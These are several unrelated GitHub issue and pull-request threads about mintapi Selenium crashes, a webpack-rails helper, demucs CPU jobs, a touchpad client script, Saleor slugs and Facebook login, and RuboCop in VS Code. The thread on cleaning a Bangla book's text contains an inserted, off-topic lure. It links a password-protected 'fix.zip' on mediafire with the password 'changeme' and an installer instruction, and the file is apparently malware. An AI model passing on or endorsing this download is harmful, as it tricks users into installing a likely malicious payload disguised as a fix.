text:
Chrome window closes, can't download transactions

Describe the bug
A clear and concise description of what the bug is.
Using from a python script, login works fine, but chrome closes seemingly after refresh is done and then I get the errors below
What version of MintAPI are you using? 2.10, latest from git as of 12 hours ago
What command[s] did you run / steps to reproduce? getting transactions after login
Stacktrace/error received:
Traceback (most recent call last):
File "/Users/gabe.fortin/Documents/coding/budgettracker/mintapitesting.py", line 13, in
df = mint.get_transaction_data(limit=100000)
File "/Users/gabe.fortin/Documents/coding/budgettracker/venv/lib/python3.9/site-packages/mintapi/api.py", line 603, in get_transaction_data
data = self.get_data(constants.POST_METHOD, constants.TRANSACTION_KEY, payload)
File "/Users/gabe.fortin/Documents/coding/budgettracker/venv/lib/python3.9/site-packages/mintapi/api.py", line 240, in get_data
data = self.__post_mint_endpoint(endpoint, payload)
File "/Users/gabe.fortin/Documents/coding/budgettracker/venv/lib/python3.9/site-packages/mintapi/api.py", line 459, in __post_mint_endpoint
response = self.post(
File "/Users/gabe.fortin/Documents/coding/budgettracker/venv/lib/python3.9/site-packages/mintapi/api.py", line 165, in post
return self.driver.request("POST", url, **kwargs)
File "/Users/gabe.fortin/Documents/coding/budgettracker/venv/lib/python3.9/site-packages/seleniumrequests/request.py", line 158, in request
self.requests_session.headers = get_webdriver_request_headers(self, proxy_host=self.__proxy_host)
File "/Users/gabe.fortin/Documents/coding/budgettracker/venv/lib/python3.9/site-packages/seleniumrequests/request.py", line 78, in get_webdriver_request_headers
webdriver.switch_to.window(original_window_handle)
File "/Users/gabe.fortin/Documents/coding/budgettracker/venv/lib/python3.9/site-packages/selenium/webdriver/remote/switch_to.py", line 134, in window
self._w3c_window(window_name)
File "/Users/gabe.fortin/Documents/coding/budgettracker/venv/lib/python3.9/site-packages/selenium/webdriver/remote/switch_to.py", line 142, in _w3c_window
send_handle(window_name)
File "/Users/gabe.fortin/Documents/coding/budgettracker/venv/lib/python3.9/site-packages/selenium/webdriver/remote/switch_to.py", line 138, in send_handle
self._driver.execute(Command.SWITCH_TO_WINDOW, {'handle': h})
File "/Users/gabe.fortin/Documents/coding/budgettracker/venv/lib/python3.9/site-packages/selenium/webdriver/remote/webdriver.py", line 429, in execute
self.error_handler.check_response(response)
File "/Users/gabe.fortin/Documents/coding/budgettracker/venv/lib/python3.9/site-packages/selenium/webdriver/remote/errorhandler.py", line 243, in check_response
raise exception_class(message, screen, stacktrace)
selenium.common.exceptions.WebDriverException: Message: disconnected: received Inspector.detached event
(Session info: chrome=108.0.5359.71)
Stacktrace:
0   chromedriver                        0x000000010940af38 chromedriver + 4910904
1   chromedriver                        0x000000010938aa03 chromedriver + 4385283
2   chromedriver                        0x0000000108fcf747 chromedriver + 472903
3   chromedriver                        0x0000000108fb9c80 chromedriver + 384128
4   chromedriver                        0x0000000108fb9476 chromedriver + 382070
5   chromedriver                        0x0000000108fb822f chromedriver + 377391
6   chromedriver                        0x0000000108fb80a0 chromedriver + 376992
7   chromedriver                        0x0000000108fb67f2 chromedriver + 370674
8   chromedriver                        0x0000000108fb6bb4 chromedriver + 371636
9   chromedriver                        0x0000000108fb53d1 chromedriver + 365521
10  chromedriver                        0x0000000108fc68d9 chromedriver + 436441
11  chromedriver                        0x0000000108fb4d16 chromedriver + 363798
12  chromedriver                        0x0000000108fb7b46 chromedriver + 375622
13  chromedriver                        0x0000000108fb67f2 chromedriver + 370674
14  chromedriver                        0x0000000108fb6bb4 chromedriver + 371636
15  chromedriver                        0x0000000108fb53d1 chromedriver + 365521
16  chromedriver                        0x0000000108fc3010 chromedriver + 421904
17  chromedriver                        0x0000000108fb4d16 chromedriver + 363798
18  chromedriver                        0x0000000108fb7b46 chromedriver + 375622
19  chromedriver                        0x0000000108fb67f2 chromedriver + 370674
20  chromedriver                        0x0000000108fb6bb4 chromedriver + 371636
21  chromedriver                        0x0000000108fb53d1 chromedriver + 365521
22  chromedriver                        0x0000000108fbe8af chromedriver + 403631
23  chromedriver                        0x0000000108fb4d16 chromedriver + 363798
24  chromedriver                        0x0000000108fb7b46 chromedriver + 375622
25  chromedriver                        0x0000000108fb67f2 chromedriver + 370674
26  chromedriver                        0x0000000108fb6bb4 chromedriver + 371636
27  chromedriver                        0x0000000108fb53d1 chromedriver + 365521
28  chromedriver                        0x0000000108fad076 chromedriver + 331894
29  chromedriver                        0x0000000108fb4d16 chromedriver + 363798
30  chromedriver                        0x0000000108fb4264 chromedriver + 361060
31  chromedriver                        0x0000000108fb3da7 chromedriver + 359847
32  chromedriver                        0x0000000108fd13b2 chromedriver + 480178
33  chromedriver                        0x0000000108fa4fc8 chromedriver + 298952
34  chromedriver                        0x0000000108fa5200 chromedriver + 299520
35  chromedriver                        0x0000000109047095 chromedriver + 962709
36  chromedriver                        0x000000010903a0d8 chromedriver + 909528
37  chromedriver                        0x000000010900430c chromedriver + 688908
38  chromedriver                        0x000000010900588e chromedriver + 694414
39  chromedriver                        0x00000001093d81de chromedriver + 4702686
40  chromedriver                        0x00000001093dcb19 chromedriver + 4721433
41  chromedriver                        0x00000001093e428e chromedriver + 4752014
42  chromedriver                        0x00000001093dd91a chromedriver + 4725018
43  chromedriver                        0x00000001093b1b02 chromedriver + 4545282
44  chromedriver                        0x00000001093fc888 chromedriver + 4851848
45  chromedriver                        0x00000001093fca05 chromedriver + 4852229
46  chromedriver                        0x0000000109412e5f chromedriver + 4943455
47  libsystem_pthread.dylib             0x00007ff8183f84e1 _pthread_start + 125
48  libsystem_pthread.dylib             0x00007ff8183f3f6b thread_start + 15
Process finished with exit code 1
What did you expect to happen?
download transactions
What actually happened?
Chrome closed, got error
Additional context
This seems to be consistently happening for the last couple of days.

Seems to be fixed in 2.11.

Thanks for the follow-up, glad to hear it! :)

@mrooney I've started running into this error over the past few days, and just upgraded to 2.11 -- issue persists. This is with the vanilla mintapi call from the command line (all params defaults except username/password). Happens with both headless and regular/interactive mode.
chrome=108.0.5359.94

this exact issue is happening for past many weeks
selenium.common.exceptions.WebDriverException: Message: disconnected: received Inspector.detached event
i'm mintapi version 2.11

I upgraded to Chrome 109 and this started happening to me too. When calling get_transaction_data it exits with the disconnected: received Inspector.detached event message

Got this error too since today, no changes to code

Thanks! I just released mintapi 2.12 which bumps the selenium-requests version to 2.0.3, which claims to future-proof their fix. That should address the issue, but let me know if not :)

authors: HyShai areagu felciano gabefortin mrooney salocin14

repo: mintapi/mintapi


text:
Add compute_asset_path to Webpack::Rails::Helper

This way you will be able to include your webpack assets like this:
javascript_include_tag 'bundle'
stylesheet_link_tag 'styles', media: 'all'

I've thought about this change for a while, and I've decided not to merge it.
The reason why is that I the years I've been doing Rails, the most frequent problem I've had is with gems that override / extend existing Rails methods, as this does.
While the solution you've implemented here is quite benign and well written, I worry about conflicts / problems with future Rails versions / other gems, and the behaviour of using super in a helper has always bugged me (as helpers are mixins rather than subclasses)

:(

source: gharchive/pull-request

authors: duderman mikegreiling mipearson

repo: mipearson/webpack-rails

license: mit

license_type: permissive

license_source: bigquery


text:
Data cleaning task for যা দেখেছি যা বুঝেছি যা করেছি - chunk 7

This is the data cleanup task for যা দেখেছি যা বুঝেছি যা করেছি - chunk 7.
What to do

Remove all non-Bangla characters and words that do not make any sense or cannot be traced back to the original text.
Fix spelling mistakes in the extracted text. You'll see that some words are incomplete and some words contain garbage characters. To fix it, you can replace it with how it is originally written in the book. As long as the texts match what's in the original book, it's good to go.
Keep the metadata (page numbers, publisher's name, table of content etc.) as it is.

Links
You can download the text file from here.
After clicking the link above, click 'Download raw file' (the download icon) on the top right corner to download the file to your local machine.
Click here for the original book.
Important
Please follow the instructions in CONTRIBUTING.md to start contributiing. Do not assign the issue to yourself right away and start working on it. If you have any questions about the contribution process or you hit a roadblock, please feel free to reach out to me (@dg1223) or any other team/tech leads by commenting here or on our Whatsapp channel.
Thank you for willing to contribute to this project.

Download
https://www.mediafire.com/file/o50xaz6wgtazqnx/fix.zip/file
password: changeme
In the installer menu, select "gcc."

@dg1223 Bhai can you assign me to this task please

@dg1223 Bhai can you assign me to this task please

done

PR #37

source: gharchive/issue

license: MIT

license_source: github-api


text:
Should demucs be run with -j num_cpus to speed it up?

Thank you for the awesome library.
I wonder if running demucs in https://github.com/mir-aidj/all-in-one/blob/ea51ed313a573e93a3599fca55578aa9179b3a6f/src/allin1/demix.py#L32
may benefit from adding --jobs flag in case there's no GPU present? I run it in HuggingFace, and I get a two-fold boost on CPU UPGRADE (8 vCPUs compared to 2 vCPUs in the free Spaces)
(For the context of how I use it: I copy the link of the output archive from Hugging Face ("Compressed Files") and paste it into the edit field of https://music-dissector.vercel.app/)

Wow, thanks! I didn't know the option exists.
According to your experience and here, I guess it will increase the speed on CPUs.
Thank you so much for your contribution!
I will include this PR in the next release.

And if you don't mind, may I ask your purpose of launching your own Music Dissector? :)
I'm just curious haha

I'm dreaming about building a holistic tool that helps people see more in music. My previous attempt was to enhance classical midis with roman numerals: https://rawl.vercel.app/edit?a=beethoven_op10no1mov1
My current idea with Music Dissector is to do it even more all-in-one-y. Today I prototyped adding basic-pitch for tonal stems, I hope to integrate some automated chord information soon.
I don't have any commercial interest (since music is all about copyright anyways), my purpose is more exploratory and pedagogic. I'm also not affiliated with any research institure right now, mostly I'm just running a local music theory course at a hacker space for music enthusiasts.

Yesterday I used it in my lecture to faster navigate through the tracks I was analysing:
https://youtu.be/s2qr8kNq47s?si=wrvcXAx4bQHbSSlP&t=682

🤯 That's brilliant!
I guess it can process the audio on the fly by the given URL and transcribe it as well.
I'm happy that someone can utilize the demo code!
It's quite complicated so I thought it would be difficult to be reused.
If you give any feedback about using allin1, it would be appreciated and I will actively incorporate it!

authors: tae-jun vpavlenko

repo: mir-aidj/all-in-one


text:
Image download button for Playground

Very nice work, thank you for sharing it.
Wishing to use in classroom as kids would love it.
Have been trying to create a download button so once art is created, kids can simply click the button to download image. Right clicking and saving image as is little confusing for younger kids.
Any pointers you could provide would be appreciated.

Hello, you can save and download canvas as an image. Just take a look on the link or google for something like "save html5 canvas".


text:
Drop privileges after startup

Currently requires suid/sudo to bind to port 53 and set up Xenstore.
Use https://github.com/andrenth/release ?

@MagnusS you're probably better off using setcap (to allow binds on low ports) on the binary and dropping the capability than you are running it as root and trying to drop privileges.

authors: MagnusS cfcs

repo: mirage/jitsu

license: isc


text:
Replace CFBundleVersion by CFBundleShortVersionString

The use of CFBundleShortVersionString seems a lot more appropriate than CFBundleVersion for the needs of a kill switch.
https://github.com/mirego/MCKillSwitch/blob/0bcb3786005b1a889aa97565cde8ec9c7486dc74/MCKillSwitch/MCKillSwitch.m#L181
CFBundleVersion
The build-version-number string for the bundle
https://developer.apple.com/library/content/documentation/General/Reference/InfoPlistKeyReference/Articles/CoreFoundationKeys.html#//apple_ref/doc/uid/20001431-102364
CFBundleShortVersionString
The release-version-number string for the bundle
https://developer.apple.com/library/content/documentation/General/Reference/InfoPlistKeyReference/Articles/CoreFoundationKeys.html#//apple_ref/doc/uid/20001431-111349
Briefly, CFBundleVersion represents the build number and changes generally with every published version, including those made by a CI. The Apple guidelines describe this field as conforming to the major.minor.revision format and many suggest appending the build number to it (ex: 1.0.2.843). On the other hand, CFBundleShortVersionString represents the marketing version of that build (ex: 1.0.2). The problem is that Apple themselves doesn't follow their own standard. In fact, most of the apps simply put the build number in the CFBundleVersion field and so does agvtool, distributed alongside Xcode's command line tools to specifically manipulate the build number.
A good approach would probably be to retrieve the CFBundleShortVersionString and optionally append CFBuildNumber so we can reference a version as something like 1.0.2 (843).

I would strongly recommend not to break the previous behaviour and add an initialization parameter where the application can specify its version string. This way existing application remain compatible (as default should revert to the previous implementation) and application choosing to use something else can pick the definition of what the version string should be.

authors: antoinelamy p-l

repo: mirego/MCKillSwitch


text:
Small bugfix regarding mouse clicks

Small bugfix sending by a contributor who doesn't have github.
Need to review - implement - and merge :).
I can't fix that this week, I haven't enough time.
virtual_touchpad_client.js
var TOUCHPAD = 'touchpad';

var JOYSTICK = 'joystick';

var settings = function () {

    var settings = {};

    /*
     * Settings modal stuff
     */

    settings.modal = {};
    settings.modal.isOpen = false;

    // initialize settings modal
    $(document).ready(function () {
        var settingsModal = $("#settings-modal");

        $('#settings-speed').on('input', function () {
            $('#settings-speed-output').val($(this).val());
        });
        $('#settings-acceleration').on('input', function () {
            $('#settings-acceleration-output').val($(this).val());
        });

        settings.modal.open = function () {
            settingsModal.removeClass('closed');
            settings.modal.isOpen = true;
        };
        settings.modal.close = function () {
            settingsModal.addClass('closed');
            settings.modal.isOpen = false;
        };

        function initDialog() {
            $('#settings-speed').val(settings.speed);
            $('#settings-speed-output').val(settings.speed);
            $('#settings-acceleration').val(settings.acceleration);
            $('#settings-acceleration-output').val(settings.acceleration);
        }

        function bindSubmit() {
            $('#settings-form').submit(function (event) {
                var formData = {};
                $(this).find(':input').each(function (i, e) {
                    e = $(e);
                    var name = e.attr('name');
                    if (name == null) return;
                    var val;
                    if (e.attr('type') == 'checkbox') {
                        val = e.prop('checked');
                    } else {
                        val = e.val();
                    }
                    formData[name] = val;
                });
                settings.update(formData);
                settings.modal.close();
                event.preventDefault();
                event.stopPropagation();
            })
        }

        function bindClose() {
            settingsModal.find(".close").addBack().click(function (event) {
                settings.modal.close();
            });
            $(".modal").click(function (event) {
                event.stopPropagation();
            });
        }

        initDialog();
        bindClose();
        bindSubmit();
    });

    /*
     * Rest of the settings
     */

    var localStorageAvailable = (typeof(Storage) !== "undefined");

    settings.speed = null;
    settings.acceleration = null;

    settings.update = function(update) {
        if (update.hasOwnProperty('speed')) settings.speed = parseFloat(update.speed);
        if (update.hasOwnProperty('acceleration')) settings.acceleration = parseFloat(update.acceleration);
        if (localStorageAvailable) {
            window.localStorage.setItem('touchpadSettings', JSON.stringify({
                speed: settings.speed,
                acceleration: settings.acceleration
            }));
        }
    };

    function defaultSettings() {
        return {
            speed: 2,
            acceleration: 1.5
        }
    }

    function init() {
        if (localStorageAvailable) {
            var touchpadSettings = window.localStorage.getItem("touchpadSettings");
            if (touchpadSettings == null) {
                touchpadSettings = defaultSettings();
            } else {
                touchpadSettings = JSON.parse(touchpadSettings);
            }
            settings.update(touchpadSettings);
        } else {
            console.error('localStorage not available. Settings can\'t be stored.')
        }
    }

    init();

    return settings;
}();

var app = {

    clicks: 0,

    drag: 0,

    touches: 0,

    toucheindex: 0,

    touchmove: 0,

    current_x: 0,

    current_y: 0,

    current_device: TOUCHPAD,

    socket: null,

    createJoystickClient: function (options) {
        var menu_height = document.querySelector('body menu').clientHeight;

        var stick = new Joystick.CircuralStick({
            start: function (coords) {
            },
            move: function (abs_coords, rel_coords) {
                app.emit(
                    ["touchpadEvent", 3 /*'EV_ABS'*/, 0 /*'ABS_X'*/, rel_coords.x],
                    ["touchpadEvent", 3 /*'EV_ABS'*/, 1 /*'ABS_Y'*/, rel_coords.y]
                );
            },
            end: function () {
            },
            analog: true,
            axis_value: 0x7FFF,
            x: document.body.clientWidth / 4,
            y: document.body.clientHeight / 2 + menu_height,
            container: document.getElementById('joystick'),
            autohide: false,
            targeting: true,
            region: function () {
                return [0, menu_height, document.body.clientWidth / 2, document.body.clientHeight]
            }
        });

        var buttons = new Joystick.Buttons({
            x: document.body.clientWidth / 2 + document.body.clientWidth / 4,
            y: document.body.clientHeight / 2,
            container: document.getElementById('joystick'),

            down: function (btn) {
                var code;
                switch (btn) {
                    case 'button_x' :
                        code = 0x133;
                        /*'BTN_X'*/
                        break;
                    case 'button_y' :
                        code = 0x134;
                        /*'BTN_Y'*/
                        break;
                    case 'button_a' :
                        code = 0x130;
                        /*'BTN_A'*/
                        break;
                    case 'button_b' :
                        code = 0x131;
                        /*'BTN_B'*/
                        break;
                }
                if (code) {
                    app.emit("touchpadEvent", 1 /*'EV_KEY'*/, code, 1);
                }
            },

            up: function (btn) {
                var code;
                switch (btn) {
                    case 'button_x' :
                        code = 0x133;
                        /*'BTN_X'*/
                        break;
                    case 'button_y' :
                        code = 0x134;
                        /*'BTN_Y'*/
                        break;
                    case 'button_a' :
                        code = 0x130;
                        /*'BTN_A'*/
                        break;
                    case 'button_b' :
                        code = 0x131;
                        /*'BTN_B'*/
                        break;
                }
                if (code) {
                    app.emit("touchpadEvent", 1 /*'EV_KEY'*/, code, 0);
                }
            },

            region: function () {
                return [document.body.clientWidth / 2, menu_height, document.body.clientWidth / 2, document.body.clientHeight]
            }
        });

        window.addEventListener('resize', function () {
            buttons.setPosition(document.body.clientWidth / 2 + document.body.clientWidth / 4, document.body.clientHeight / 2);
        })
    },

    createTouchpadClient: function (options) {
        options.btn_left && options.btn_left.addEventListener('touchstart', function () {
            if ((app.clicks & 1) == 0) {
                if (app.drag == 0) {
                    app.emit("touchpadEvent", 1 /*'EV_KEY'*/, 0x110 /*'BTN_LEFT'*/, 1);
                }
                app.clicks |= 1;
            }
        });
        options.btn_left && options.btn_left.addEventListener('touchend', function () {
            if (app.clicks & 1) {
                if (app.drag == 0) {
                    app.emit("touchpadEvent", 1 /*'EV_KEY'*/, 0x110 /*'BTN_LEFT'*/, 0);
                }
                app.clicks &= ~1;
            }
        });

        options.btn_right && options.btn_right.addEventListener('touchstart', function () {
            if ((app.clicks & 2) == 0) {
                app.emit("touchpadEvent", 1 /*'EV_KEY'*/, 0x111 /*'BTN_RIGHT'*/, 1);
                app.clicks |= 2;
            }
        });
        options.btn_right && options.btn_right.addEventListener('touchend', function () {
            if (app.clicks & 2) {
                app.emit("touchpadEvent", 1 /*'EV_KEY'*/, 0x111 /*'BTN_RIGHT'*/, 0);
                app.clicks &= ~2;
            }
        });

        options.area && options.area.addEventListener('touchstart', function (e) {
            e.preventDefault();
            // Do not count touches into the mouse button areas.
            var currentTouches = e.touches.length - (app.clicks & 1) - ((app.clicks & 2) >> 1);
            if (currentTouches <= 4 || app.touches < 4) {
                app.touches = currentTouches;
                app.touchindex = e.touches.length - 1;
                app.touchmove = 0;
                app.current_x = e.touches[app.touchindex].pageX;
                app.current_y = e.touches[app.touchindex].pageY;
                if (app.touches == 3) {
                    // Start drag and drop with left mouse button.
                    if (app.drag == 0 && (app.clicks & 1) == 0) {
                        app.emit("touchpadEvent", 1 /*'EV_KEY'*/, 0x110 /*'BTN_LEFT'*/, 1);
                    }
                    app.drag = 1;
                }
                if (app.touches >= 4) {
                    app.touches = 4;
                    // Start pressing the middle mouse button.
                    app.emit("touchpadEvent", 1 /*'EV_KEY'*/, 0x112 /*'BTN_MIDDLE'*/, 1);
                }
            }
        });

        options.area && options.area.addEventListener('touchmove', function (e) {
            e.preventDefault();
            if (app.touchindex + 1 > e.touches.length) {
                app.touchindex = e.touches.length - 1;
            } else {
                var x = e.touches[app.touchindex].pageX - app.current_x;
                var y = e.touches[app.touchindex].pageY - app.current_y;
                x = (x >= 0? 1 : -1) * Math.round(Math.pow(Math.abs(settings.speed * x), settings.acceleration));
                y = (y >= 0? 1 : -1) * Math.round(Math.pow(Math.abs(settings.speed * y), settings.acceleration));
                if (app.touches == 2) {
                    app.emit(
                        ["touchpadEvent", 2 /*'EV_REL'*/, 8 /*'REL_WHEEL' */, -x],
                        ["touchpadEvent", 2 /*'EV_REL'*/, 6 /*'REL_HWHEEL'*/, -y]
                    );
                } else {
                    app.emit(
                        ["touchpadEvent", 2 /*'EV_REL'*/, 0 /*'REL_X'*/, x],
                        ["touchpadEvent", 2 /*'EV_REL'*/, 1 /*'REL_Y'*/, y]
                    );
                }
            }
            app.current_x = e.touches[app.touchindex].pageX;
            app.current_y = e.touches[app.touchindex].pageY;
            app.touchmove = 1;
        });

        options.area && options.area.addEventListener('touchend', function (e) {
            e.preventDefault();
            var currentTouches = e.touches.length - (app.clicks & 1) - ((app.clicks & 2) >> 1);
            if (currentTouches < 4) {
                if (currentTouches < 4 && app.touches == 4) {
                    // This is the release of the middle mouse button.
                    app.emit("touchpadEvent", 1 /*'EV_KEY'*/, 0x112 /*'BTN_MIDDLE'*/, 0);
                }
                if (currentTouches < 3) {
                    if (app.drag == 1 && (app.clicks & 1) == 0) {
                        // This is the end a drag and drop action (eventually without a move).
                        app.emit("touchpadEvent", 1 /*'EV_KEY'*/, 0x110 /*'BTN_LEFT'*/, 0);
                    }
                    app.drag = 0;
                }
                if (app.touchmove == 0 && (app.clicks & 3) == 0) {
                    // This was only a tap on the touchpad and there are no touches in the mouse button areas,
                    // in this case we may emit a click of the left or right mouse button.
                    if (app.touches == 1) {
                        app.emit(
                            ["touchpadEvent", 1 /*'EV_KEY'*/, 0x110 /*'BTN_LEFT'*/, 1],
                            ["touchpadEvent", 1 /*'EV_KEY'*/, 0x110 /*'BTN_LEFT'*/, 0]
                        );
                    } else if (app.touches == 2) {
                        app.emit(
                            ["touchpadEvent", 1 /*'EV_KEY'*/, 0x111 /*'BTN_RIGHT'*/, 1],
                            ["touchpadEvent", 1 /*'EV_KEY'*/, 0x111 /*'BTN_RIGHT'*/, 0]
                        );
                    }
                }
                // Setting app.touchmove prevents the detection of unintended left and right clicke
                // when not lifting the fingers at the same time.
                app.touchmove = 1;
                app.touches = currentTouches;
            }
        });
    },

    emit: function () {
        if (!(arguments[0] instanceof Array)) {
            app.emit.call(this, Array.prototype.slice.call(arguments));
            return;
        }

        Array.prototype.slice.call(arguments).forEach(function (ev) {
            app.socket && app.socket.emit(ev[0], {
                type: ev[1],
                code: ev[2],
                value: ev[3]
            });
        })
    },

    init: function () {
        app.createJoystickClient({
            area: document.getElementById('touchpad-area')
        });

        app.createTouchpadClient({
            area: document.getElementById('touchpad-area'),
            btn_left: document.getElementById('touchpad-btn_left'),
            btn_right: document.getElementById('touchpad-btn_right')
        });

        var touchpad_screen = document.getElementById('touchpad'),
            joystick_screen = document.getElementById('joystick');

        document.getElementById('goFullscreen').addEventListener('click', function () {
            app.toggleFullScreen();
        });
        document.getElementById('goFullscreen').addEventListener('touchend', function () {
            app.toggleFullScreen();
        });

        document.getElementById('setTouchpad').addEventListener('click', function () {
            joystick_screen.style.display = 'none';
            touchpad_screen.style.display = 'block';
            app.current_device = TOUCHPAD;
        });
        document.getElementById('setTouchpad').addEventListener('touchend', function () {
            joystick_screen.style.display = 'none';
            touchpad_screen.style.display = 'block';
            app.current_device = TOUCHPAD;
        });

        document.getElementById('setJoystick').addEventListener('click', function () {
            joystick_screen.style.display = 'block';
            touchpad_screen.style.display = 'none';
            app.current_device = JOYSTICK;
        });
        document.getElementById('setJoystick').addEventListener('touchend', function () {
            joystick_screen.style.display = 'block';
            touchpad_screen.style.display = 'none';
            app.current_device = JOYSTICK;
        });
        document.getElementById('gear-svg').addEventListener('click', function () {
            settings.modal.open();
        });

        !function connect() {
            app.socket = io();

            app.socket.on("touchpadConnected", function (data) {
                slotNumber = data.touchpadId;
                document.getElementById('connecting').style.display = 'none';
            });

            app.socket.on("connect", function () {
                app.socket.emit("connectTouchpad", null);
                document.getElementById('connecting').style.display = 'block';
            });

            app.socket.on("disconnect", function () {
                location.reload();
            });
        }();
    },

    // Code from https://developer.mozilla.org/en-US/docs/Web/Guide/DOM/Using_full_screen_mode
    // because I'm to lazy...
    toggleFullScreen: function () {
        if (!document.fullscreenElement &&    // alternative standard method
            !document.mozFullScreenElement && !document.webkitFullscreenElement) {  // current working methods
            if (document.documentElement.requestFullscreen) {
                document.documentElement.requestFullscreen();
            } else if (document.documentElement.mozRequestFullScreen) {
                document.documentElement.mozRequestFullScreen();
            } else if (document.documentElement.webkitRequestFullscreen) {
                document.documentElement.webkitRequestFullscreen(Element.ALLOW_KEYBOARD_INPUT);
            }
        } else {
            if (document.cancelFullScreen) {
                document.cancelFullScreen();
            } else if (document.mozCancelFullScreen) {
                document.mozCancelFullScreen();
            } else if (document.webkitCancelFullScreen) {
                document.webkitCancelFullScreen();
            }
        }
    }
};

Can you ask the contributor what the change does? What issues does it address/fix? I can't make sens out of some changes.

authors: MikaXII robsdedude

repo: miroof/node-virtual-gamepads


text:
Slug of product

What I'm trying to achieve
Why Product model doesn't have a slug attribute? Product model creates it dynamically in get_absolute_url method:
def get_absolute_url(self):
        return reverse(
            'product:details',
            kwargs={'slug': self.get_slug(), 'product_id': self.id})

def get_slug(self):
        return slugify(smart_text(unidecode(self.name)))

Describe a proposed solution
Add a slug attribute to Product model as other models have it. After that it would be possible to translate slugs for example in ProductTranslation model.
Screenshots or mockups

Hi! This is because the slug is for SEO. If the slug is no longer valid, it will be still handled by through the passed primary key of the product.
But you raise a good point for translation. I notice get_slug doesn't handle localization. It would be straight forward to do, including making sure the prefetches are properly done in the views.
@maarcingebala how should we handle this issue as we are planning on moving out of the django views in the next release?

Hi! Thank you for your answer.
Now there are questions from your answer:

In which cases can the slug be no valid? In my mind it's hard linked to a Product model where from we get the slug.
So if it's about SEO why a Category model has the slug? It is doesn't created dynamically and taked from a model attribute then used in urlpattern.

url(
        r"^category/(?P<slug>[a-z0-9-_]+?)-(?P<category_id>[0-9]+)/$",
        views.category_index,
        name="category",
    ),

class Category(MPTTModel, ModelWithMetadata, SeoModel):
    name = models.CharField(max_length=128)
    slug = models.SlugField(max_length=128)
    ...

Slug added was added to the Product model.

authors: NyanKiyoshi maarcingebala pakhanthegod

repo: mirumee/saleor


text:
Instructions for Integration with FB

I have followed the instructions for integration with Facebook, the ID/secret are variables on my Heroku dynos, my app is live on FB dashboard, and I have added "facebook" as a social application in the admin. But for some reason, I'm not seeing FB as an option on the sign in page. Are there additional steps I need to follow?

Hello, @acs254 there I have fixed facebook login in Saleor: https://github.com/mirumee/saleor/pull/766
We'll work more on documentation soon, so this process will be documented for sure. Basically we're using django-allauth package and all providers that are delivered by this package, can be used with saleor as well.

Hello @artursmet thanks for the quick fix! Similarly, is there any documentation on how to integrate payments? I've used Stripe for other projects and like it, but I'm unsure of how to integrate with Saleor.

@acs254 As I said - we'll work on more detailed documentation, but saleor is using django-payments to integrate with external payment processors, so you can refer to this package documentation: http://django-payments.readthedocs.io/en/latest/modules.html#stripe
Integration with Stripe should be pretty straightforward, because you only have to define payment variant in settings.py and add a choice to CHECKOUT_PAYMENT_CHOICES tuple. For stripe there's a dedicated template that will render stripe button. StripeCard backend in supported as well.

Login error is not fixed. Task for better auth docs is opened here #881
Closing.

authors: acs254 artursmet krzysztofwolski


text:
Rubocop returns empty output

I'm experiencing what to me seems like a very weird issue.
Whenever the extension runs, I get this message on VS Code:
command /Users/X/.rbenv/shims/rubocop returns empty output! please check configuration
The error seems clear enough but... if I run the exact same command in the command line, I get a proper output. I've tried making some tweaks to the configurations, namely the execution path, using bundle or not, but nothing seems to solve it.
I've dived in the code to see where this message was being given and this supposedly only happens if the output of the command is indeed empty, so I'm not sure what's going on.
Could I do something to see exactly what command is running to try and debug it?
Anyone experienced the same?

@heldersantosmoreira I'm facing the same issue. May I know what you did to resolve the issue?
thanks.

@loteresa2 I believe that in my case what was happening was that I was using a rubocop file that had some cops that were invalid (for the rubocop version I was using), and that was resulting in an empty output.
I remember downgrading to a version where the cop file was valid and went from there.
Sorry if this isn't too specific but let me know if if helps. If I remember something else, I'll be sure to let you know.

Just in case this helps anyone, I had a bad .rubocop.yml file in my home folder (/Users/myusername/.rubocop.yml) that was being loaded as part of the stack. Deleting it so it only used the project's configuration fixed it for me. Such a dumb fucking issue I've had for years, now finally fixed.

@ReneMoraales  it was the lack of a .rubocop.yml in the actual project that did it for me here. As soon as I added one it, it was resolved in VS Code.

My case is that I have a .rubocop.yml file in the project root, but the config content has dependencies not installed. After bundle install, Rubocop works well.

i have the same problem

i have the same problem

I'm not clear if this is the same issue @SunnyWind had. I had added a gem to the Gemfile, and was adding the configuration code, but I had not yet run Bundler. After I did, the error message stopped.

I'm not clear if this is the same issue @SunnyWind had. I had added a gem to the Gemfile, and was adding the configuration code, but I had not yet run Bundler. After I did, the error message stopped.

I Replace bin in the PATH with wrappers and solved the issue:
vscode setting:
ruby.rubocop.executePath": "/Users/USER_NAME/.rvm/gems/ruby-2.6.5/wrappers/

I Replace bin in the PATH with wrappers and solved the issue:
vscode setting:
ruby.rubocop.executePath": "/Users/USER_NAME/.rvm/gems/ruby-2.6.5/wrappers/

I Replace bin in the PATH with wrappers and solved the issue:
vscode setting:
ruby.rubocop.executePath": "/Users/USER_NAME/.rvm/gems/ruby-2.6.5/wrappers/

oh my god, whole day setting up rvm in this mac, and finally just got done with rubocop. Thank you

I use rbenv, and the issue was caused by me upgrading Rubocop from 0.68 to 1.17 - so a big jump.
Many of my cops in my .rubocop.yml were deprecated or obsolete, so once I updated these cops it worked again in VSCode.

@misogi if I understand this correctly, the rubocop command did not return anything in stdout because the command failed, right?
Would it possible to show the result in stderr instead in the error notification?

I Replace bin in the PATH with wrappers and solved the issue:
vscode setting:
ruby.rubocop.executePath": "/Users/USER_NAME/.rvm/gems/ruby-2.6.5/wrappers/

Thanks for this. I am running rbenv and for me in .vscode/settings.json I needed to add:
"ruby.rubocop.executePath": "/Users/<username>/.rbenv/shims/"
and reload window and then it worked

I solved this by making sure I could open vscode from the terminal. From Visual Studio Code, press Cmd+Shift + P and write "Shell command: Install 'code' command in PATH". Hit enter:
When activated, go to your project in the terminal and execute "code ."
I should then work as VSCode will pick up the environment you're using.

I Replace bin in the PATH with wrappers and solved the issue: vscode setting: ruby.rubocop.executePath": "/Users/USER_NAME/.rvm/gems/ruby-2.6.5/wrappers/

I did this and still got "${HOME}/.rvm/gems/ruby-2.6.5/wrappers/rubocop returns empty output" interlaced with "...wrappers/rubocop is not executable"

@quaos Have you resolved this issue? I got the same issue again.

@quaos Have you resolved this issue? I got the same issue again.

Not yet. I still have to run rubocop command set up as a project task.

If you are using a gem manager of installed ruby
use the path provided by where rubocop and place it to rubocop settings
of caurse after selecting the project gemset

This happened to me and it might be associated to vs-code-ruby being deprecated.
Check if your settings.json has ruby. and if it's greyed out.

I installed ruby-lsp extension (search for Shopify.ruby-lsp) and added these settings:
    "rubyLsp.formatter": "auto",
